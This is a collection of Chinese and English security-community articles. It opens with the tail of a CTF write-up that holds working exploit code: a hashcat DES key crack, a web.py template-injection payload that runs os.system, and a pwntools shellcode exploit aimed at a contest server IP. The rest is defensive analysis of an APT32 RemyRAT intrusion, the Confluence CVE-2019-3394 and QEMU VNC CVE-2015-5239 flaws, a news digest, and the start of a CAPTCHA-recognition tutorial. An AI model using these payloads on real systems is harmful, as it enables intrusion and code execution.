de_flag = [0x4F, 0x6F, 0xA7, 0x87, 0xE9, 0x51, 0x87, 0x64, 0x38, 0x2A, 0x46, 0xE5, 0x4F, 0x21, 0x9E, 0x1C, 0xCD, 0x65, 0xE1, 0x9A, 0x4F, 0xCF, 0xDE, 0x52, 0x09, 0xBF, 0x53, 0xC4, 0xB0, 0x95, 0x75, 0x31, 0xAC, 0x2F, 0xF4, 0x97, 0x1D, 0xA5, 0x9A, 0x02, 0xA8, 0xFF, 0xAE, 0x2E, 0xB9, 0x70, 0xCC, 0x02]
de_c = ''
for i in de_flag:
de_c += chr(i)
# a = en('a'*16)
# print('---')
# print(de(a))
print((xor_str(de_c[16:32],de(de_c[32:48]))))
# ~Exc3p7i0n-Ori3n7ed-Pr0grammin9~RoO0cks!!\o^_^o/
## Web
### On my raddit
8个字节分组加密，动一动LSB仍然可以解密，DES？
2e7e305f2da018a2cf8208fa1fefc238 + 加密的文件名 + 3ca92540eb2d0a42 下载文件
3ca92540eb2d0a42应该是padding，8个字节拿hashcat爆破了下
3ca92540eb2d0a42:0808080808080808:ldgonaro
Session..........: hashcat
Status...........: Cracked
Hash.Type........: DES (PT = $salt, key = $pass)
Hash.Target......: 3ca92540eb2d0a42:0808080808080808
爆破出来一个ldgonaro，FLAG但是不对，应该是个等效密钥。
首页有下载链接，发现能下载文件，于是解密：
from Crypto.Cipher import DES
key = 'ldgonaro'
def decrypt(decryptText):
try:
cipherX = DES.new(key, DES.MODE_ECB)
str = decryptText.decode('hex')
y = cipherX.decrypt(str)
return y[0:ord(y[len(y)-1])*-1]
except:
return ""
print decrypt('2e7e305f2da018a2cf8208fa1fefc238522c932a276554e5f8085ba33f9600b301c3c95652a912b0342653ddcdc4703e5975bd2ff6cc8a133ca92540eb2d0a42')
=>m=d&f=uploads%2F70c97cc1-079f-4d01-8798-f36925ec1fd7.pdf
将f参数换成`app.py`加密得到E2272B36277C708BC21066647BC214B8，然后得到密钥`megnnaro`
### On my raddit2
<https://securityetalii.es/2014/11/08/remote-code-execution-in-web-py-framework/>
web.py的db写的有问题：
# coding: UTF-8
import os
import urllib
import urlparse
from Crypto.Cipher import DES
ENCRPYTION_KEY = 'megnnaro'
def encrypt(s):
length = DES.block_size - (len(s) % DES.block_size)
s = s + chr(length)*length
cipher = DES.new(ENCRPYTION_KEY, DES.MODE_ECB)
return cipher.encrypt(s).encode('hex')
def decrypt(s):
try:
data = s.decode('hex')
cipher = DES.new(ENCRPYTION_KEY, DES.MODE_ECB)
data = cipher.decrypt(data)
data = data[:-ord(data[-1])]
return dict(urlparse.parse_qsl(data))
except Exception as e:
print e.message
return {}
print encrypt(urllib.urlencode({'m':'p','l':"${[].__class__.__base__.__subclasses__()[59]()._module.linecache.os.system('/read_flag > /tmp/fffza')}"}))
print encrypt(urllib.urlencode({'m':'d','f':'/tmp/fffza'}))
然后依次访问即可。
## MISC
### Lumosity
签到题
### EV3 Basic
LEGO EV3机器人的数据包
81 xx 81 xx 84 xx 应该表示列，行，字符
0a 14 1e 28 32 3c 46 50 5a 64 6e 78 82 8c 96 a0
28 h i t c o n { m 1 n d 5 t 0 r m
36 _ c o m m u n i c a t i o n _ a
44 n d _ f i r m w a r e _ d e v e
52 l o p e r _ k i t }
### 32world
64bit ELF，retf切到32位代码，执行shellcode，24字节，syscall的时候IP需要大于FFFFFFFF
line CODE JT JF K
=================================
0000: 0x20 0x00 0x00 0x0000000c A = instruction_pointer >> 32
0001: 0x15 0x00 0x01 0x00000000 if (A != 0x0) goto 0003
0002: 0x06 0x00 0x00 0x00000000 return KILL
0003: 0x06 0x00 0x00 0x7fff0000 return ALLOW
切回64bit，跳一个one gadget，读一下fs拿地址
from pwn import *
#p = process('./32world')
p = remote('54.65.133.244', 8361)
context(bits = 32, arch = 'i386')
sc1 = '''
retf
'''
sc11 = asm('push 0x33')
sc1 = asm(sc1)
print sc1, len(sc1)
context(bits = 64, arch = 'amd64')
sc2 = asm('mov rax, fs:[rdx+0x900]; add rax, 0xf1147; call rax')
sc1 = sc11 + '\xe8\x10\x00\x00\x00' + sc2 + sc1
print sc1, len(sc1)
p.sendline(sc1)
p.interactive() | 社区文章 |
# 海莲花组织 (APT32) 针对我国关基单位攻击活动分析
##### 译文声明
本文是翻译文章，文章原作者 伏影实验室，文章来源：绿盟科技威胁情报
原文地址：[https://mp.weixin.qq.com/s?__biz=Mzg2Nzg0NDkwMw==&mid=2247490224&idx=1&sn=54bf480ffbe6fe3e75f2b76cc77bf2af&source=41&key=a2ec44f6afa15335ac80be8a847307b35a79a66376fc6fd642683dd99c97fe215da23e48bf46f7a9582727a2b3009a62041950729261d90c94b01273c97a88097600f8d0bcc58aa86e6c2e85777abd6dd23c642811f87dd707f2de0993deeb5e571079b8200954b615504b79ff13073153c7425877480804a89feebec934b61e&ascene=65&uin=MjU3MzMwNDUyMg%3D%3D&devicetype=Windows+10+x64&version=6308011a&lang=zh_CN&exportkey=n_ChQIAhIQXFXz9f4xGSYgJ970Lv6q%2BBLgAQIE97dBBAEAAAAAAI4hE7l5ovcAAAAOpnltbLcz9gKNyK89dVj0P6CRMpuHm6MsTbUHxfWkllaWUUNjMUvkImjRl5CFfYtlFxhPEjk%2BqzUz8k6BiX7MvtZiJrsO70MlH7aesoJQw%2FTJ4OhXasdbH9zd4zUIkaT9lTr5B%2B5s%2F6IhOK5ArDuPpjxWtaGVI0Q%2BTWrWnZXRlqO39T2%2FJnmZ7qQ%2BEcbGZX%2FlPBR%2F9Cc5cUCXV7GUfsUWAQFU1UHDT%2FnaIjddN10sjbNUdVq52huEZ6cYLVsYr2Ajiq2vLg3aXYsW&acctmode=0&pass_ticket=Fn9MPc%2FaV4ZYWvk7zPGWmbIsove3eg%2Fi99lBQlL5Q6B%2Bzm%2BMpfpzxiomd0I1lFKqiO0vCQTFO9TwCyhdZar44A%3D%3D&wx_header=1&fontgear=2](https://mp.weixin.qq.com/s?__biz=Mzg2Nzg0NDkwMw==&mid=2247490224&idx=1&sn=54bf480ffbe6fe3e75f2b76cc77bf2af&source=41&key=a2ec44f6afa15335ac80be8a847307b35a79a66376fc6fd642683dd99c97fe215da23e48bf46f7a9582727a2b3009a62041950729261d90c94b01273c97a88097600f8d0bcc58aa86e6c2e85777abd6dd23c642811f87dd707f2de0993deeb5e571079b8200954b615504b79ff13073153c7425877480804a89feebec934b61e&ascene=65&uin=MjU3MzMwNDUyMg%3D%3D&devicetype=Windows+10+x64&version=6308011a&lang=zh_CN&exportkey=n_ChQIAhIQXFXz9f4xGSYgJ970Lv6q%2BBLgAQIE97dBBAEAAAAAAI4hE7l5ovcAAAAOpnltbLcz9gKNyK89dVj0P6CRMpuHm6MsTbUHxfWkllaWUUNjMUvkImjRl5CFfYtlFxhPEjk%2BqzUz8k6BiX7MvtZiJrsO70MlH7aesoJQw%2FTJ4OhXasdbH9zd4zUIkaT9lTr5B%2B5s%2F6IhOK5ArDuPpjxWtaGVI0Q%2BTWrWnZXRlqO39T2%2FJnmZ7qQ%2BEcbGZX%2FlPBR%2F9Cc5cUCXV7GUfsUWAQFU1UHDT%2FnaIjddN10sjbNUdVq52huEZ6cYLVsYr2Ajiq2vLg3aXYsW&acctmode=0&pass_ticket=Fn9MPc%2FaV4ZYWvk7zPGWmbIsove3eg%2Fi99lBQlL5Q6B%2Bzm%2BMpfpzxiomd0I1lFKqiO0vCQTFO9TwCyhdZar44A%3D%3D&wx_header=1&fontgear=2)
译文仅供参考，具体内容表达以及含义原文为准。
## 一、事件背景
2022年5月，绿盟科技伏影实验室与运营能力中心梅花K战队共同于国家某关基单位发现异常外联IP，通过攻击活动中捕获的攻击流量分析，确认此次攻击活动是由境外APT组织APT32所发起。
绿盟科技伏影实验室与运营能力中心梅花K战队利用主机行为监控技术对攻击者攻击活动进行了全周期监控，并对其攻击活动进行阻断。在监控过程中，观察到攻击者活动持续至7月中下旬，时间长达2个月。攻击者针对关基单位负责重点课题的研究员发起APT定向攻击，瞄准文档类资料进行窃取，以窃取机密资料和重要文件为目标。如攻击者窃取成功，将造成严重损失。
通过流量分析，发现国内某核心制造业厂商也同样遭受该组织攻击，并持续处于活跃状态，经过处置，已成功阻断该组织攻击活动。
## 二、影响范围
在此次事件中，APT32组织选择了RemyRAT远程控制木马作为后门程序植入了国家关基单位，通过分析，此木马具备以下TTP：
表2.1 海莲花RemyRAT所使用技战术
通过RemyRAT的TTP能力实现，我们可以得出攻击者或具备以下意图：
1. 攻击者可以向受害者主机进一步投递恶意程序。在本次事件中，受害者为国家某关基单位研究员，APT32组织或靶向投递窃密程序以获取关键研究资料及技术成果，从而造成不可挽回的战略损失。
2. 通过进一步分析，发现某核心制造业厂商也遭受攻击，攻击者可能窃取生产资料、设计图纸等工业生产相关的机密信息，造成我国工业制造业核心技术泄露。
3. 攻击者能够通过失陷主机发起网络扫描以确定网络环境及资产分布。
4. 攻击者能够通过已探测网络拓扑，投递脆弱性嗅探程序，以攻陷更多的内网设备。
5.
## 三、APT32组织简介
APT32组织，或称为海莲花、OceanLotus、SeaLotus、Cobalt
Kitty、APT-C-00，是一个活跃于越南的攻击组织。该组织最早在2015年被发现，在2017年之后进入活跃期至今。一般认为，海莲花组织的主要目标为越南及相邻国家的政企工作人员，主要目的为窃取政府与商业情报，中国是该组织的主要攻击国家之一。
种种迹象表明，海莲花是一个多人分工合作的高效组织，该组织不断更新完善自己的攻击链条，并不断开发新的攻击方式和工具。目前，ATT&CK攻击矩阵显示海莲花使用的攻击工具超过10种，使用的攻击技术超过50种。
海莲花组织在突破边界并在内网中建立立足点后惯用Cobalt Strike进行横向移动。并通过Cobalt
Strike扫描内网中存在的各类漏洞和配置问题，利用扫描结果进一步控制其它主机。最终窃取包括商业机密、机密谈话日志和进度计划等在内的各种资料，严重威胁制造、媒体、银行、酒店和基础设施的网络安全。
在后门植入方面，海莲花组织有着成熟应用且自主开发的后门，如DenisRAT，RemyRAT，SplinterRAT等。这些后门程序功能完备，一旦被植入，攻击者便可完全控制失陷主机。
RemyRAT在本次关基单位应急事件中被发现，作为海莲花组织的专有工具，屡次被用于后门植入，以完成下载执行，文件操作，端口扫描等功能。
## 四、攻击事件定性
通过流量还原技术，观察受害者IP与C&C的交互，发现出现单字节传输，通讯协议相似，固定长度心跳，上线交互一致等特征，通过与伏影实验室针对海莲花APT组织工具复盘特征的比对，将此流量定性为海莲花远程控制工具RemyRAT所产生。
* 归因依据-握手交互
受控端发送02，控制端反馈03。与RemyRAT握手方式完全一致。
图 4.1 RemyRAT与C&C握手过程
* 归因依据-协议构成
在交互流量存在单字节交互特征的前提下，我们也观察到其信息构成存在以下格式：
图 4.2 应急事件中RemyRAT上线信息结构
图4.3 伏影实验室海莲花复盘RemyRAT上线信息结构
通过以上可以看出，流量特征异曲同工。即为：
stream_size(4 bytes) + decompressed_data_size(4 bytes) +
compressed_data_size(4 byets) + compressed_data(depends on
compressed_data_size)
* 归因依据-固定心跳
受害者与C&C存在固定长度及内容的心跳交互。心跳长度为8字节，且内容皆为00。
图 4.4 RemyRAT发送恒定心跳信息
* 归因依据-上线交互
受害者会发出4字节长度，该长度代表即将发送的流长度，下一流将携带上线信息。
图 4.5 RemyRAT预上线交互
综上，根据握手交互，协议构成，固定心跳，上线交互特征的一致性，我们将此流量判定为RemyRAT所产生。
## 五、研判总结
APT32海莲花组织作为有国家背景支持的顶尖黑客团伙，在进入2019年后频繁攻击东南亚范围内的各类目标，后续针对中国境内的攻击活动扩展到几乎所有重要机构，包括政府部门、科研院所、境内高校，海事机构、海域建设、航运企业和金融投资机构。经研判分析，海莲花组织的攻击方式多样，攻击链条复杂，但使用的核心攻击技术与最终木马载荷较为固定。除此，海莲花组织会积极尝试使用各类热门漏洞和攻击技术，但多数未形成规模，只有最稳定且少数的攻击链实现了持久化。因此，鱼叉攻击、社工攻击、水坑攻击仍然是海莲花组织最为成熟及有效的初始入侵手段。绿盟科技于2022年多起关基单位及核心制造业应急事件中发现，海莲花团伙攻击目标逐渐向科研机构，车辆制造及众多高新企业倾斜。其攻击意图逐渐由占领并监听上升为核心技术获取。因此，在未来一段时间内，科研院校，拥有自主技术的企业或成为其目标，应加强防范，避免发生无可挽回的战略损失。 | 社区文章 |
**Author: Badcode@Knownsec 404 Team**
**Date: 2019/08/29**
**Chinese Version:<https://paper.seebug.org/1025/>**
### 1 Foreword
In the afternoon @fnmsd sent me a
[Confluence](https://jira.atlassian.com/browse/CONFSERVER-58734) warning. I
studied this patch, recurred the vulnerability and recorded the process of the
emergency.
As the description says, Confluence Server and Data Center had a local file
disclosure vulnerability in the page export function. A remote attacker who
has Add Page space permission would be able to read arbitrary files in the
/confluence/WEB-INF/packages directory, which may contain configuration files
used for integrating with other services, which could potentially leak
credentials or other sensitive information such as LDAP credentials. Like one
of my previous vulnerability, it can't jump out of the WEB directory as the
web directory and data directory of confluence are generally separated. Users'
configuration is generally stored in the data directory, so the damage is
limited.
### 2 Vulnerability Impact
* 6.1.0 <= version < 6.6.16
* 6.7.0 <= version < 6.13.7
* 6.14.0 <= version < 6.15.8
### 3 Patch Comparison
According to the description, the trigger is at the Word export operation.
Look at the code to see where the patch is.
I downloaded 6.13.6 and 6.13.7 for comparison.
Let's focus on `confluence-6.13.x.jar`.
Comparing these two jars, I saw that there is a change in the importexport
directory. Combined with the previous description which said the vulnerability
is in the page export function, the patch is probably here. There is a change
in the `PackageResourceManager` in the importexport directory.
See the key function `getResourceReader`, `resource =
this.resourceAccessor.getResource(relativePath);`. It seems to get the file
resource, the value of `relativePath` is `/WEB-INF` splicing
`resourcePath.substring(resourcePath.
indexOf(BUNDLE_PLUGIN_PATH_REQUEST_PREFIX))` , and `resourcePath` is passed
in. It is obvious that `resourcePath` is controllable. It splices `/WEB-INF`,
then call `getResource` to read the file.
### 4 Process Analysis
The next step is to find the path of the trigger. I tried to insert various
things on the page, then exported Word, tried to jump to this place, and all
failed. Finally, when I tracked the inserted image, I found that I jumped to a
similar place, and finally jumped to the trigger by constructing the image
link.
First see the `service` method of
`com.atlassian.confluence.servlet.ExportWordPageServer`.
public void service(SpringManagedServlet springManagedServlet, HttpServletRequest request, HttpServletResponse response) throws ServletException, IOException {
String pageIdParameter = request.getParameter("pageId");
Long pageId = null;
if (pageIdParameter != null) {
try {
pageId = Long.parseLong(pageIdParameter);
} catch (NumberFormatException var7) {
response.sendError(404, "Page not found: " + pageId);
}
} else {
response.sendError(404, "A valid page id was not specified");
}
if (pageId != null) {
AbstractPage page = this.pageManager.getAbstractPage(pageId);
if (this.permissionManager.hasPermission(AuthenticatedUserThreadLocal.get(), Permission.VIEW, page)) {
if (page != null && page.isCurrent()) {
this.outputWordDocument(page, request, response);
} else {
response.sendError(404);
}
......
}
When exporting Word, it first get the `pageId` of the exported page, then get
the content of the page, determine whether there is permission for viewing and
follow up `this.outputWordDocument`
private void outputWordDocument(AbstractPage page, HttpServletRequest request, HttpServletResponse response) throws IOException {
......
try {
ServletActionContext.setRequest(request);
ServletActionContext.setResponse(response);
String renderedContent = this.viewBodyTypeAwareRenderer.render(page, new DefaultConversionContext(context));
Map<String, DataSource> imagesToDatasourceMap = this.extractImagesFromPage(renderedContent);
renderedContent = this.transformRenderedContent(imagesToDatasourceMap, renderedContent);
Map<String, Object> paramMap = new HashMap();
paramMap.put("bootstrapManager", this.bootstrapManager);
paramMap.put("page", page);
paramMap.put("pixelsPerInch", 72);
paramMap.put("renderedPageContent", new HtmlFragment(renderedContent));
String renderedTemplate = VelocityUtils.getRenderedTemplate("/pages/exportword.vm", paramMap);
MimeMessage mhtmlOutput = this.constructMimeMessage(renderedTemplate, imagesToDatasourceMap.values());
mhtmlOutput.writeTo(response.getOutputStream());
......
There will be some headers in the front, and then the content of the page
willget rendered. Then it will return `renderedContent`, and hand it to
`this.extractImagesFromPage`
private Map<String, DataSource> extractImagesFromPage(String renderedHtml) throws XMLStreamException, XhtmlException {
Map<String, DataSource> imagesToDatasourceMap = new HashMap();
Iterator var3 = this.excerpter.extractImageSrc(renderedHtml, MAX_EMBEDDED_IMAGES).iterator();
while(var3.hasNext()) {
String imgSrc = (String)var3.next();
try {
if (!imagesToDatasourceMap.containsKey(imgSrc)) {
InputStream inputStream = this.createInputStreamFromRelativeUrl(imgSrc);
if (inputStream != null) {
ByteArrayDataSource datasource = new ByteArrayDataSource(inputStream, this.mimetypesFileTypeMap.getContentType(imgSrc));
datasource.setName(DigestUtils.md5Hex(imgSrc));
imagesToDatasourceMap.put(imgSrc, datasource);
......
The function extracts the image in the page. When the exported page contains
images, the link of the image is extracted and submitted to
`this.createInputStreamFromRelativeUrl`.
private InputStream createInputStreamFromRelativeUrl(String uri) {
if (uri.startsWith("file:")) {
return null;
} else {
Matcher matcher = RESOURCE_PATH_PATTERN.matcher(uri);
String relativeUri = matcher.replaceFirst("/");
String decodedUri = relativeUri;
try {
decodedUri = URLDecoder.decode(relativeUri, "UTF8");
} catch (UnsupportedEncodingException var9) {
log.error("Can't decode uri " + uri, var9);
}
if (this.pluginResourceLocator.matches(decodedUri)) {
Map<String, String> queryParams = UrlUtil.getQueryParameters(decodedUri);
decodedUri = this.stripQueryString(decodedUri);
DownloadableResource resource = this.pluginResourceLocator.getDownloadableResource(decodedUri, queryParams);
try {
ByteArrayOutputStream outputStream = new ByteArrayOutputStream();
resource.streamResource(outputStream);
return new ByteArrayInputStream(outputStream.toByteArray());
} catch (DownloadException var11) {
log.error("Unable to serve plugin resource to word export : uri " + uri, var11);
}
} else if (this.downloadResourceManager.matches(decodedUri)) {
String userName = AuthenticatedUserThreadLocal.getUsername();
String strippedUri = this.stripQueryString(decodedUri);
DownloadResourceReader downloadResourceReader = this.getResourceReader(decodedUri, userName, strippedUri);
if (downloadResourceReader == null) {
strippedUri = this.stripQueryString(relativeUri);
downloadResourceReader = this.getResourceReader(relativeUri, userName, strippedUri);
}
if (downloadResourceReader != null) {
try {
return downloadResourceReader.getStreamForReading();
} catch (Exception var10) {
log.warn("Could not retrieve image resource {} during Confluence word export :{}", decodedUri, var10.getMessage());
if (log.isDebugEnabled()) {
log.warn("Could not retrieve image resource " + decodedUri + " during Confluence word export :" + var10.getMessage(), var10);
}
}
}
} else if (uri.startsWith("data:")) {
return this.streamDataUrl(uri);
}
.....
This function is to get the image resources, and will handle different image
links in different formats. We should look at
`this.downloadResourceManager.matches(decodedUri)`. The
`this.downloadResourceManager` is `DelegatorDownloadResourceManager`, and
there are 6 `downloadResourceManager` below. Among them is the
`PackageResourceManager` we want.
Follow the `matches` method of `DelegatorDownloadResourceManager`.
public boolean matches(String resourcePath) {
return !this.managersForResource(resourcePath).isEmpty();
}
......
private List<DownloadResourceManager> managersForResource(String resourcePath) {
return (List)this.downloadResourceManagers.stream().filter((manager) -> {
return manager.matches(resourcePath) || manager.matches(resourcePath.toLowerCase());
}).collect(Collectors.toList());
}
The `matches` method will call the `managersForResource` method, calling the
`matches` method of each `downloadResourceManager` to match `resourcePath`,
and return true if there is a `downloadResourceManager` that matches. Look at
the `matches` method of `PackageResourceManager`
public PackageResourceManager(ResourceAccessor resourceAccessor) {
this.resourceAccessor = resourceAccessor;
}
public boolean matches(String resourcePath) {
return resourcePath.startsWith(BUNDLE_PLUGIN_PATH_REQUEST_PREFIX);
}
static {
BUNDLE_PLUGIN_PATH_REQUEST_PREFIX = DownloadResourcePrefixEnum.PACKAGE_DOWNLOAD_RESOURCE_PREFIX.getPrefix();
}
`resourcePath` returns true when it starts with
`BUNDLE_PLUGIN_PATH_REQUEST_PREFIX`. `BUNDLE_PLUGIN_PATH_REQUEST_PREFIX` is
`PACKAGE_DOWNLOAD_RESOURCE_PREFIX` in `DownloadResourcePrefixEnum`, and is
also called `/packages`.
public enum DownloadResourcePrefixEnum {
ATTACHMENT_DOWNLOAD_RESOURCE_PREFIX("/download/attachments"),
THUMBNAIL_DOWNLOAD_RESOURCE_PREFIX("/download/thumbnails"),
ICON_DOWNLOAD_RESOURCE_PREFIX("/images/icons"),
PACKAGE_DOWNLOAD_RESOURCE_PREFIX("/packages");
Therefore, `resourcePath` will return true when it starts with the
`/packages`.
Back to `createInputStreamFromRelativeUrl` method. When
`downloadResourceManager` matches `decodedUri`, it will enter the branch.
Continue to call `DownloadResourceReader downloadResourceReader =
this.getResourceReader(decodedUri, userName, strippedUri);`
private DownloadResourceReader getResourceReader(String uri, String userName, String strippedUri) {
DownloadResourceReader downloadResourceReader = null;
try {
downloadResourceReader = this.downloadResourceManager.getResourceReader(userName, strippedUri, UrlUtil.getQueryParameters(uri));
} catch (UnauthorizedDownloadResourceException var6) {
log.debug("Not authorized to download resource " + uri, var6);
} catch (DownloadResourceNotFoundException var7) {
log.debug("No resource found for url " + uri, var7);
}
return downloadResourceReader;
}
Jump to `getResourceReader` in `DelegatorDownloadResourceManager`
public DownloadResourceReader getResourceReader(String userName, String resourcePath, Map parameters) throws DownloadResourceNotFoundException, UnauthorizedDownloadResourceException {
List<DownloadResourceManager> matchedManagers = this.managersForResource(resourcePath);
return matchedManagers.isEmpty() ? null : ((DownloadResourceManager)matchedManagers.get(0)).getResourceReader(userName, resourcePath, parameters);
}
Here we will continue to call `managersForResource` to call the `matches`
method of each `downloadResourceManager` to match `resourcePath`. If there is
a match, we will continue to call the `getResourceReader` method of the
corresponding `downloadResourceManager`. So, if `matches` method in
`PackageResourceManager` can match `resourcePath`, then we will continue to
call the `getResourceReader` method in `PackageResourceManager`, which is the
vulnerability. To get here, `resourcePath` must start with `/packages`.
The entire flow chart is as follows.
### 5 Construction
The process is clear, and now it's about how to construct it. We are going to
insert a picture with a link starting with `/packages`.
Create a new page and insert a web image.
It can not be saved directly, cause if you do so, the inserted image link will
be automatically spliced to the website address, so use the burpsuite to
remove the automatically spliced website address when saving.
Capture the package when releasing.
Remove URL.
After the release, you can see that the image link was successfully saved.
Finally, click Export Word to trigger the vulnerability. After successfully
reading the data, it will be saved to the image and then placed in the Word
document. Since it cannot be displayed properly, I use burp to check the
returned data.
The contents of `/WEB-INF/web.xml` have been successfully read.
### 6 What's More
This vulnerability is unable to jump out of the web directory to read the
file. `getResource`method will finally be transferred to
`org.apache.catalina.webresources.StandardRoot`. There is a `validate`
function in it and it has restrictions and filtration that prevent you from
jumping to the upper directory of `/WEB-INF/`.
This video demonstrates the vulnerability with Pocsuite3:
### 7 Reference
[Local File Disclosure via Word Export in Confluence Server -CVE-2019-3394](https://jira.atlassian.com/browse/CONFSERVER-58734)
* * * | 社区文章 |
# VNC拒绝服务漏洞(CVE-2015-5239)分析
|
##### 译文声明
本文是翻译文章，文章来源：LR@360安全播报、noirfate@360安全播报
原文地址：<http://blogs.360.cn/blog/vnc拒绝服务漏洞cve-2015-5239分析/>
译文仅供参考，具体内容表达以及含义原文为准。
****
******前言**
Qemu是一款处理器模拟软件，可以提供用户模式模拟和系统模式模拟。当处于用户模式模拟状态时，将使用动态翻译技术，允许一个cpu构建的进程在另一个cpu上执行。
VNC [ Virtual Network Computing
]是一款优秀的远程控制工具软件。由于Qemu内置vnc功能模块，所以可通过vnc客户端对远程Qemu虚拟机进行远程访问。
360安全团队的 连一汉/LR 在阅读Qemu-VNC源码过程中，发现了功能模块中的一个远程拒绝服务。
该漏洞危险等级为中，漏洞编号CVE-2015-5239。
相关信息见 [](https://access.redhat.com/security/cve/CVE-2015-5239)
<https://access.redhat.com/security/cve/CVE-2015-5239>
**VNC通讯协议介绍**
VNC采用RFB通信协议。RFB (“remote 帧缓存 “)
是一个远程图形用户的简单协议。通过这个协议，用户可以远程模拟鼠标点击、键盘按键以及文本复制/剪切等功能。本文所讲述漏洞就是在文本复制/剪切时触发的。详细协议格式如下图：
举例说明：
下面这段数据是真实发送的用于文本复制/剪切的报文。
06 00 00 00 00 00 00 06 74 65 73 74 21 21
06 ：表示协议类型message-type
00 00 00 ：用于填充padding
00 00 00 06 ：待剪切数据的长度length
74 65 73 74 21 21：待剪切数据内容text
协议格式相对简单，就不再进一步描述。
**漏洞分析**
QEMU在通过vnc读取报文中存储的剪切板中的数据时，由于其未对报文中用于描述数据长度的字段进行严格限制，进而导致其出现逻辑错误进入死循环。下面就是程序处理的主体逻辑：
读取报文中用于描述待读取数据长度的字段
判断这个字段是否超过整个报文的长度。
如果为否，则进行数据复制；如果为是，则跳出循环
实现代码如下(ui/vnc.c)
从上述代码中可以发现：由于len的初始值为1，所以protocol_client_msg()的返回值为8。Input.offset的值始终为14大于8，所以此时不会跳出循环。在进入下次循环时8将作为protocol_client_msg()的参数len传入，用于读取报文长度字段的值。但是，如果此时读取的报文中的长度字段为0xFFFFFFF9则protocol_client_msg()的返回值又将为1，下次循环时len的值也就又恢复为初始值1。这样，程序又进入开始时的状态，再次调用protocol_client_msg()并且返回值为8。然后又将8传入protocol_client_msg()，读取报文中的长度字段0xFFFFFFF9，返回值又为1，循环往复。由于在这段循环过程中客户端连接标志vs->csock始终未被更改，程序也将无法跳出循环，从而进入死循环状态。Vnc拒绝服务也就由此产生。
**漏洞危害**
攻击者利用该漏洞可以导致虚拟机拒绝服务，并且保持对cpu的高占用率，继而会影响宿主机以及其他虚拟机的正常执行。
我们在测试环境中对该漏洞进行测试，触发前后的截图如下。可以看到，在漏洞触发后qemu-kvm无法远程访问，并占有极高的CPU使用率，严重影响其它程序的运行。
漏洞触发前CPU的状态:
漏洞触发后CPU的状态：
**修补方案**
官方已经对该漏洞进行修复，修补如下：
具体见：<http://git.qemu.org/?p=qemu.git;a=commit;h=f9a70e79391f6d7c2a912d785239ee8effc1922d>
该补丁中，开发人员对关键数据dlen的大小进行严格的大小判断，确保数据长度值不能超过1MB。这样就完美修复此漏洞。在这里建议所有使用qemu的厂商采用该补丁，防止攻击者利用CVE-2015-5239漏洞对厂商和用户攻击造成损失。
建议厂商安排安全修复。 | 社区文章 |
# 2月22日安全热点 - 思科Elastic Services Controller存在严重漏洞
##### 译文声明
本文是翻译文章
译文仅供参考，具体内容表达以及含义原文为准。
思科Elastic Services Controller服务端口身份验证绕过漏洞
思科Elastic Services
Controller软件的基于Web的身份验证功能中的漏洞可能允许未经授权的远程攻击者绕过身份验证，并在受影响的系统上以管理员权限执行任意操作。
<https://tools.cisco.com/security/center/content/CiscoSecurityAdvisory/cisco-sa-20180221-esc>
uTorrent客户端存在严重安全漏洞
<https://www.bleepingcomputer.com/news/security/utorrent-client-affected-by-some-pretty-severe-security-flaws/>
<https://threatpost.com/utorrent-users-warned-of-remote-code-execution-vulnerability/130030/>
俄罗斯Sofacy APT组织将重点攻击目标从北约成员国转移到中东地区
<http://securityaffairs.co/wordpress/69365/apt/sofacy-apt-east.html>
被忽视的朝鲜黑客组织——APT37
<https://www2.fireeye.com/rs/848-DID-242/images/rpt_APT37.pdf>
<https://www.bleepingcomputer.com/news/security/a-new-north-korean-hacker-group-is-making-a-name-for-itself/>
<http://www.zdnet.com/article/north-korean-reaper-apt-uses-zero-day-vulnerabilities-to-spy-on-governments/>
黑客可以劫持超过52,000个婴儿监视器视频源
<https://www.bleepingcomputer.com/news/security/hackers-can-hijack-over-52-000-baby-monitor-video-feeds/>
基于恐怖电影的新型勒索软件——Annabelle
<https://www.bleepingcomputer.com/news/security/the-annabelle-ransomware-is-a-horrific-mess/>
## 技术类
趋势科技电子邮件加密网关多个漏洞
<https://www.coresecurity.com/advisories/trend-micro-email-encryption-gateway-multiple-vulnerabilities>
<https://success.trendmicro.com/solution/1119349-security-bulletin-trend-micro-email-encryption-gateway-5-5-multiple-vulnerabilities>
OWASP Web应用自动威胁手册
<https://www.owasp.org/images/3/33/Automated-threat-handbook.pdf>
消失的字节：逆向工程MS Office RTF分析器
<https://securelist.com/disappearing-bytes/84017/>
当婴儿监视器不再智能
<https://www.sec-consult.com/en/blog/2018/02/internet-of-babies-when-baby-monitors-fail-to-be-smart/index.html>
使用Facebook帐户攻击Tinder帐户
<https://medium.com/@appsecure/hacking-tinder-accounts-using-facebook-accountkit-d5cc813340d1>
关于密码安全性的讨论
<https://blog.cloudflare.com/how-developers-got-password-security-so-wrong/>
攻击LNMP架构Web应用的几个小Tricks
<https://www.leavesongs.com/PENETRATION/some-tricks-of-attacking-lnmp-web-application.html>
隐藏在XXE Zeroday HP PPM中的漏洞
<https://rhinosecuritylabs.com/application-security/xxe-zeroday-vulnerability-in-hp-project/>
用户级API监控和代码注入检测
<https://0x00sec.org/t/userland-api-monitoring-and-code-injection-detection/5565>
用k匿名验证泄漏的密码
<https://blog.cloudflare.com/validating-leaked-passwords-with-k-anonymity/>
<https://www.troyhunt.com/ive-just-launched-pwned-passwords-version-2/>
代码审计之QCMS 3.0
> [代码审计之QCMS 3.0](http://foreversong.cn/archives/1092)
在Twitter上进行钓鱼
<https://github.com/omergunal/PoT>
IDA双击RCE
> [IDA text Execution](http://riscy.business/2018/02/ida-remote-execution/)
Chrome扩展程序和Express服务器利用CSS的键盘记录功能
<https://github.com/maxchehab/CSS-Keylogging> | 社区文章 |
## 0X000 前言
这是该 `使用tensorflow自动识别验证码`系列的第三篇文章，
本系列最后一篇。前面几章的回顾可以看这里。
* [使用tensorflow自动识别验证码（一）--- CNN基础模型以及示例](https://xianzhi.aliyun.com/forum/topic/1505/)
* [使用tensorflow自动识别验证码（二）--- 利用CNN模型去识别开源系统验证码](https://xianzhi.aliyun.com/forum/topic/1552/)
## 0x001 文章结构
* CNN的基础
* Tensorflow的CNN代码理解
* 调参和优化的方法介绍
本文不会对数学理论做过多的探讨，也不会深入研究原理，只对CNN基础知识和Tensorflow实现过程做一下简单的梳理。
以及常见的优化流程 毕竟是个人阅读心得，难免会有纰漏，如有错误，请及时指出。
## 0x002 CNN的基础知识
### CNN简介
cnn 全称是 Convolutional Neural Network ,中文叫
卷积神经网络。理解这个词语需要简单来梳理几个名词：人工智能，机器学习，深度学习。
